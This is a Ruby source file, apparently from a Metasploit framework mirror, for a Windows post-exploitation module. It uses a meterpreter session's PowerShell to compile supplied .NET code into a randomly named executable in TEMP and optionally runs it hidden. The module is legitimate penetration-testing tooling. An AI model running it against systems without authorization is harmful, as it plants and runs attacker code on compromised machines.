Files
metasploit-gs/modules/post/windows/manage/powershell/build_net_code.rb
T
Brent Cook 53557cc92e replace trivial usage of expand_path with getenv
expand_path is not implemented consistently across platforms and
sessions, which leads to confusing behavior. In places where we have trivial
single variable expansions, this changes modules and library code to just use
getenv.

We'll look at the rest individually to see if they can also be reimplemented in
terms of getenv.
2019-05-31 17:44:35 -05:00

124 lines
4.4 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/post/windows/powershell'
require 'msf/core/exploit/powershell/dot_net'
class MetasploitModule < Msf::Post
Rank = ExcellentRanking
include Msf::Post::Windows::Powershell
include Msf::Exploit::Powershell::DotNet
def initialize(info = {})
super(
update_info(
info,
'Name' => "Powershell .NET Compiler",
'Description' => %q(
This module will build a .NET source file using powershell. The compiler builds
the executable or library in memory and produces a binary. After compilation the
PowerShell session can also sign the executable if provided a path the
a .pfx formatted certificate. Compiler options and a list of assemblies
required can be configured in the datastore.
),
'License' => MSF_LICENSE,
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [ [ 'Universal', {} ] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 14 2012'
)
)
register_options(
[
OptPath.new('SOURCE_FILE', [true, 'Path to source code']),
OptBool.new('RUN_BINARY', [false, 'Execute the generated binary', false]),
OptString.new('ASSEMBLIES', [false, 'Any assemblies outside the defaults', "mscorlib.dll, System.dll, System.Xml.dll, System.Data.dll" ]),
OptString.new('OUTPUT_TARGET', [false, 'Name and path of the generated binary, default random, omit extension' ]),
OptString.new('COMPILER_OPTS', [false, 'Options to pass to compiler', '/optimize']),
OptString.new('CODE_PROVIDER', [true, 'Code provider to use', 'Microsoft.CSharp.CSharpCodeProvider'])
], self.class
)
register_advanced_options(
[
OptString.new('NET_CLR_VER', [false, 'Minimum NET CLR version required to compile', '4.0'])
], self.class
)
end
def run
# Make sure we meet the requirements before running the script
unless session.type == "meterpreter" || have_powershell?
print_error "Incompatible Environment"
return 0
end
# Havent figured this one out yet, but we need a PID owned by a user, can't steal tokens either
if client.sys.config.is_system?
print_error "Cannot run as system"
return 0
end
# End of file marker
eof = Rex::Text.rand_text_alpha(8)
env_suffix = Rex::Text.rand_text_alpha(8)
net_com_opts = {}
net_com_opts[:target] =
datastore['OUTPUT_TARGET'] ||
"#{session.sys.config.getenv('TEMP')}\\#{Rex::Text.rand_text_alpha(rand(8) + 8)}.exe"
net_com_opts[:com_opts] = datastore['COMPILER_OPTS']
net_com_opts[:provider] = datastore['CODE_PROVIDER']
net_com_opts[:assemblies] = datastore['ASSEMBLIES']
net_com_opts[:net_clr] = datastore['NET_CLR_VER']
net_com_opts[:cert] = datastore['CERT_PATH']
begin
net_com_opts[:harness] = ::File.read(datastore['SOURCE_FILE'])
script = dot_net_compiler(net_com_opts)
if datastore['Powershell::Post::dry_run']
print_good "Compiler code:\n#{script}"
return
end
rescue => e
print_error e
return
end
vprint_good "Writing to #{net_com_opts[:target]}"
# Execute the powershell script
print_status 'Building remote code.'
cmd_out, running_pids, open_channels = execute_script(script, true)
get_ps_output(cmd_out, eof)
vprint_good "Cleaning up #{running_pids.join(', ')}"
clean_up(nil, eof, running_pids, open_channels, env_suffix, false)
# Check for result
begin
size = session.fs.file.stat(net_com_opts[:target].gsub('\\', '\\\\')).size
print_good "File #{net_com_opts[:target].gsub('\\', '\\\\')} found, #{size}kb"
rescue
print_error "File #{net_com_opts[:target].gsub('\\', '\\\\')} not found," \
" NET CLR version #{datastore['NET_CLR_VER']} possibly not available"
return
end
# Run the result
if datastore['RUN_BINARY']
cmd_out = session.sys.process.execute(net_com_opts[:target].gsub('\\', '\\\\'),
nil, 'Hidden' => true, 'Channelized' => true)
while (out = cmd_out.channel.read)
print_good out
end
end
print_good 'Finished!'
end
end